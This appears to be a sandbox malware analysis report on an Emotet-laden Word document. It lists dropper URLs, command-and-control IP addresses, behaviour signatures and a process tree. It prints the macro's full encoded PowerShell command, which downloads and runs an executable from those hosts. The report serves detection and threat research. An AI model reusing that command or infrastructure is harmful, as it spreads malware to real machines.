Analysis

  • max time kernel
    136s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    03/09/2020, 22:59

General

  • Target
    T_73170638159628113306587.doc
  • Size 190KB
  • Sample200903-sf6mzzyba2
  • SHA256 f95add757971b2b4deabdb71a2aaaddf3ea0cd2562b6bf7c1db04298470477ba
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://homokfuvo.com/files/QSNUeuP/

  • exe.dropper

    http://gforcems.it/modules/B/

  • exe.dropper

    http://planodesaudetotal.com/erros/wUI/

  • exe.dropper

    http://rvad.com/img/K0YvsA/

  • exe.dropper

    http://vendasdesaude.com/erros/zyHmix/

  • exe.dropper

    https://scenic-heap.de/_private/ZZHi/

  • exe.dropper

    https://elektro-grell.de/cgi-bin/o8Xj1y/

Extracted

Family
  • emotet

C2
  • 192.158.216.73:80

  • 85.214.28.226:8080

  • 142.44.137.67:443

  • 162.241.242.173:8080

  • 85.152.162.105:80

  • 62.30.7.67:443

  • 78.24.219.147:8080

  • 74.120.55.163:80

  • 169.239.182.217:8080

  • 216.208.76.186:80

  • 95.213.236.64:8080

  • 200.114.213.233:8080

  • 104.131.44.150:8080

  • 70.121.172.89:80

  • 75.139.38.211:80

  • 185.94.252.104:443

  • 97.82.79.83:80

  • 103.86.49.11:8080

  • 79.98.24.39:8080

  • 83.169.36.251:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\T_73170638159628113306587.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3704
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2860
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe
      "C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:988
      • C:\Windows\SysWOW64\KBDUSR\atmlib.exe
        "C:\Windows\SysWOW64\KBDUSR\atmlib.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2288

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/988-15-0x00000000022E0000-0x00000000022EC000-memory.dmp

        memory/988-14-0x00000000022D0000-0x00000000022DE000-memory.dmp

        memory/1536-10-0x000001E1FF900000-0x000001E1FF901000-memory.dmp

        memory/1536-8-0x00007FFF52440000-0x00007FFF52E2C000-memory.dmp

        memory/1536-9-0x000001E1FF750000-0x000001E1FF751000-memory.dmp

        memory/2288-19-0x0000000002290000-0x000000000229C000-memory.dmp

        memory/2288-18-0x0000000002280000-0x000000000228E000-memory.dmp

        memory/3704-0-0x00007FFF59A10000-0x00007FFF5A0D6000-memory.dmp

        memory/3704-4-0x000001F6C44F3000-0x000001F6C44F6000-memory.dmp

        memory/3704-3-0x000001F6C4773000-0x000001F6C4778000-memory.dmp

        memory/3704-2-0x000001F6C44F6000-0x000001F6C44FB000-memory.dmp

        memory/3704-5-0x000001F6C4773000-0x000001F6C4778000-memory.dmp

        memory/3704-1-0x000001F6C44F6000-0x000001F6C44FB000-memory.dmp

        memory/3704-6-0x000001F6C4771000-0x000001F6C4773000-memory.dmp

        memory/3704-7-0x000001F6C4771000-0x000001F6C4773000-memory.dmp